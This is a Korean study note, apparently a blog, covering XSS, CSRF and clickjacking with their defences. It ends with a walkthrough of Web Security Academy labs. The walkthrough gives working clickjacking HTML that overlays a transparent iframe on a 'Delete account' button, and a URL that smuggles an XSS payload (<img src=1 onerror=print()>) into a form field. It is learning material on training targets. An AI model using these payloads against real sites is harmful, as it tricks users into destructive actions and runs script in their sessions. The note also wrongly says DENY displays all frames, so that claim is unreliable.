웹 사이트에 악성 스크립트를 주입하는 행위
웹 취약점을 활용하여 실행된 악성 스크립트가 사용자의 쿠키 정보 등을 탈취한다.
악성 스크립트가 서버에 저장되어 서버의 응답에 담겨오는 경우
악성 스크립트가 url에 삽입되며 서버의 응답에 담겨오는 경우
악성 스크립트가 url fragment에 삽입되는 경우
*렌더링시 악성스크립트가 포함되는 것이므로 서버의 응답을 받기 전에 스크립트가 실행된다.
클라이언트의 브러우저 혹은 그 플러그인에서 발생
사용자가 접속하려는 도메인과 상관 없이 현재 이용하고 있는 브라우저나 플러그인의 취약점을 통하여 악성 스크립트가 실행된다. 웹보다는 모바일 앱에서 주로 발생한다.
공격에 활용될 수 있는 문자열(스크랩트 태그 이름, 특수문자 등)이 포함된 입력값을 무시하거나 대치하여 스크립트가 실행되거나 post되는 것을 막는다.
공격에 활용될 수 있는 문자를 디코딩하여 사용자에게는 입력값이 그대로 유지되지만 브라우저상에서는 다른 값으로 대치되게 한다.
컴퓨터 보안 표준 중 하나로 헤더를 추가하여 사용한다.
신뢰할 수 있는 컨텐츠 source의 허용 목록을 생성하고 브라우저는 이에 따라 허용 source에서 전달된 컨텐츠만 실행한다.
CSP를 우회하는 공격
CSP 허용 리스트에는 존재하나 현재 사용되지 않는 도메인을 사용하여 사용자를 악성 페이지로 유도하고, 이를 통하여 사용자의 정보를 탈취할 수 있는 취약점. 출처
사용자의 정상적인 요청을 공격자가 변조하여 특정 웹사이트 요청을 하게 만드는 공격
request 헤더에 포함되어 있는 referrer 값을 통하여 해당 요청을 한 페이지가 유효한 페이지인지 검증한다. 서버와 관련 없는 페이지에서 들어온 요청인 경우 이를 차단한다.
사용자의 세션에 난수 값(토큰)을 저장하고 이 값을 사용자의 요청마다 함께 포함하여 전송한다. 서버는 요청이 들어올 때마다 세션에 저장된 토큰 값과 요청 파라미터의 토큰 값이 같은지 검증한다.
사용자가 의도한 요청인지 검증하기 위하여 시스템의 트리거에 의한 요청인지 사용자(사람)이 직접한 요청인지 구분한다. 컴퓨터와 사람을 구분하기 위한 테스트이다.
사용자가 실제 보이는 것과 다른 것을 클릭하도록 유도하는 기법
X-Frame-Options 브라우저 옵션으로 방어할 수 있다. 이 값은 HTTP 응답 헤더에 포함되어 서버와 관련 없는 사이트의 프레임을 허용하거나 제한할 수 있다. DENY 값은 모든 프레임을 표시하고, SAMEORIGIN 값은 해당 페이지와 같은 출처의 프레임만 표시한다.
로그인을 하여 문제 해결에 필요한 페이지에 접근한다.
Delete account 버튼 위에 새로운 레이어를 생성하여 사용자가 조작된 버튼을 누르도록 유도해야한다.
iframe 태그를 이용하여 버튼과 비슷한 모양을 가진 프래임을 만든다. iframe의 src 값에 해당 페이지의 url을 입력한 후, style 태그를 사용하여 버튼을 비슷한 모양으로 만든다.
<style>
iframe {
position: relative; //상대 위치
width: 800px; //프레임 너비
height: 600px; //프레임 높이
opacity: 0.1; //불투명도
z-index:2; //수직위치
}
div{
position: absolute; //절대위치
top: 300px;
left: 50px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a2500320496bce4c0b831cc00500070.web-security-academy.net/my-account" />
해당 HTML을 exploit server의 body에 적고 view exploit 버튼을 눌러 만들어진 프레임을 확인한다.
새로 만들 버튼의 위치를 적절히 조정하여 Delete account 버튼과 겹치게한다.
위치 확인이 끝났으니 불투명도를 더 낮춘 뒤 Deliver exploit to victim 버튼을 눌러 제출한다.
<style>
iframe {
position: relative;
width: 800px;
height: 600px;
opacity: 0.0001;
z-index:2;
}
div{
position: absolute;
top: 490px;
left: 60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a2500320496bce4c0b831cc00500070.web-security-academy.net/my-account" />
이전 문제와 동일하게 iframe을 만들어 사용한다. 이때 다른 점은 XSS 취약점을 이용하는 것이다. 즉, 사용할 HTML에 print()함수를 호출하는 script를 포함하면 된다.
다음과 같은 submit feedback 페이지를 이용한다.
iframe을 담은 HTML을 작성한다. 스크립트를 실행시키기 위하여 url에 img 태그를 추가한다. img 태그의 에러를 유발하고 onerror 함수로 print()함수를 실행시킨다.
<style>
iframe {
position: relative;
width: 800px;
height: 600px;
opacity: 0.1;
z-index:2;
}
div{
position: absolute;
top: 490px;
left: 60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a2600b0041a7aa3c067601200440062.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=mail@email.com&subject=error&message=hello#feedbackResult" />
테스트하면서 위치를 조정한다.
위치를 적당히 조정한 후, 불투명도 값을 낮추어 제출한다.
<style>
iframe {
position: relative;
width: 800px;
height: 900px;
opacity: 0.1;
z-index:2;
}
div{
position: absolute;
top: 790px;
left: 60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a2600b0041a7aa3c067601200440062.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=mail@email.com&subject=error&message=hello#feedbackResult" />